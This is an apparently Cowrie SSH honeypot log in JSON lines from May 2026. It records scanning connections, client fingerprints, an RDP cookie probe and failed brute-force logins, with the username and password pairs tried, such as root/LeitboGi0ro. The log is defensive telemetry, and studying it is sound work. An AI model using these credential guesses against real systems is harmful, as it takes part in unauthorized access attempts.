{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:10.902368Z","src_ip":"122.168.114.167","session":"34e066862ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:11.526065Z","src_ip":"122.168.114.167","session":"3db9fa9a9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"60.4","message":"Connection lost after 60.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:22.709604Z","src_ip":"122.168.114.167","session":"3db9fa9a9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":36512,"dst_ip":"159.203.135.109","dst_port":22,"session":"225c3290ac57","protocol":"ssh","message":"New connection: 159.223.45.177:36512 (159.203.135.109:22) [session: 225c3290ac57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:32.131257Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:34.913428Z","src_ip":"159.223.45.177","session":"225c3290ac57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38876,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0a2697b5b93","protocol":"ssh","message":"New connection: 122.168.114.167:38876 (159.203.135.109:22) [session: c0a2697b5b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:40.185306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:50.704946Z","src_ip":"122.168.114.167","session":"c0a2697b5b93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:50.721402Z","src_ip":"122.168.114.167","session":"c0a2697b5b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:55.214930Z","src_ip":"122.168.114.167","session":"34e066862ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"67.8","message":"Connection lost after 67.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:08.282533Z","src_ip":"122.168.114.167","session":"34e066862ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:28.092753Z","src_ip":"122.168.114.167","session":"c0a2697b5b93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41286,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6f0ac52ac51","protocol":"ssh","message":"New connection: 122.168.114.167:41286 (159.203.135.109:22) [session: f6f0ac52ac51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:28.446915Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":55781,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bc8dee6eecb","protocol":"ssh","message":"New connection: 103.149.252.223:55781 (159.203.135.109:22) [session: 6bc8dee6eecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:31.271371Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:31.275362Z","src_ip":"103.149.252.223","session":"6bc8dee6eecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:31.278823Z","src_ip":"103.149.252.223","session":"6bc8dee6eecb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:34.770885Z","src_ip":"122.168.114.167","session":"f6f0ac52ac51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:34.776084Z","src_ip":"122.168.114.167","session":"f6f0ac52ac51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"55.5","message":"Connection lost after 55.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:35.650384Z","src_ip":"122.168.114.167","session":"c0a2697b5b93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:56:58.977175Z","src_ip":"122.168.114.167","session":"f6f0ac52ac51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":30464,"dst_ip":"159.203.135.109","dst_port":22,"session":"d58dbfdde53f","protocol":"ssh","message":"New connection: 159.223.45.177:30464 (159.203.135.109:22) [session: d58dbfdde53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:05.256411Z"}
{"eventid":"cowrie.session.closed","duration":"37.9","message":"Connection lost after 37.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:06.388375Z","src_ip":"122.168.114.167","session":"f6f0ac52ac51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":38284,"dst_ip":"10.17.0.5","dst_port":22,"session":"5017885300cc","protocol":"ssh","message":"New connection: 106.75.222.164:38284 (10.17.0.5:22) [session: 5017885300cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:07.331353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:07.336250Z","src_ip":"106.75.222.164","session":"5017885300cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:07.576554Z","src_ip":"106.75.222.164","session":"5017885300cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:08.021574Z","src_ip":"159.223.45.177","session":"d58dbfdde53f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser3","password":"123456","message":"login attempt [ftpuser3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:08.566935Z","src_ip":"106.75.222.164","session":"5017885300cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:09.809450Z","src_ip":"106.75.222.164","session":"5017885300cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43698,"dst_ip":"159.203.135.109","dst_port":22,"session":"5de02ad70d62","protocol":"ssh","message":"New connection: 122.168.114.167:43698 (159.203.135.109:22) [session: 5de02ad70d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:12.588793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:17.968709Z","src_ip":"122.168.114.167","session":"5de02ad70d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:17.972702Z","src_ip":"122.168.114.167","session":"5de02ad70d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:38.505065Z","src_ip":"122.168.114.167","session":"5de02ad70d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.4","message":"Connection lost after 31.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:43.993263Z","src_ip":"122.168.114.167","session":"5de02ad70d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46108,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a2fb69cd15d","protocol":"ssh","message":"New connection: 122.168.114.167:46108 (159.203.135.109:22) [session: 3a2fb69cd15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:57:59.706035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:03.420602Z","src_ip":"122.168.114.167","session":"3a2fb69cd15d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:03.426156Z","src_ip":"122.168.114.167","session":"3a2fb69cd15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.46.81","src_port":56693,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5af205dc181","protocol":"ssh","message":"New connection: 218.78.46.81:56693 (10.17.0.5:22) [session: f5af205dc181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:09.616805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:10.343844Z","src_ip":"218.78.46.81","session":"f5af205dc181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:10.572894Z","src_ip":"218.78.46.81","session":"f5af205dc181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:15.397295Z","src_ip":"218.78.46.81","session":"f5af205dc181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:16.977216Z","src_ip":"122.168.114.167","session":"3a2fb69cd15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.6","message":"Connection lost after 20.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:20.260794Z","src_ip":"122.168.114.167","session":"3a2fb69cd15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48528,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ebea7267529","protocol":"ssh","message":"New connection: 122.168.114.167:48528 (159.203.135.109:22) [session: 6ebea7267529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:41.081426Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":22180,"dst_ip":"159.203.135.109","dst_port":22,"session":"6085f973d0bb","protocol":"ssh","message":"New connection: 159.223.45.177:22180 (159.203.135.109:22) [session: 6085f973d0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:42.270020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:43.797090Z","src_ip":"122.168.114.167","session":"6ebea7267529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:43.801059Z","src_ip":"122.168.114.167","session":"6ebea7267529","protocol":"ssh"}
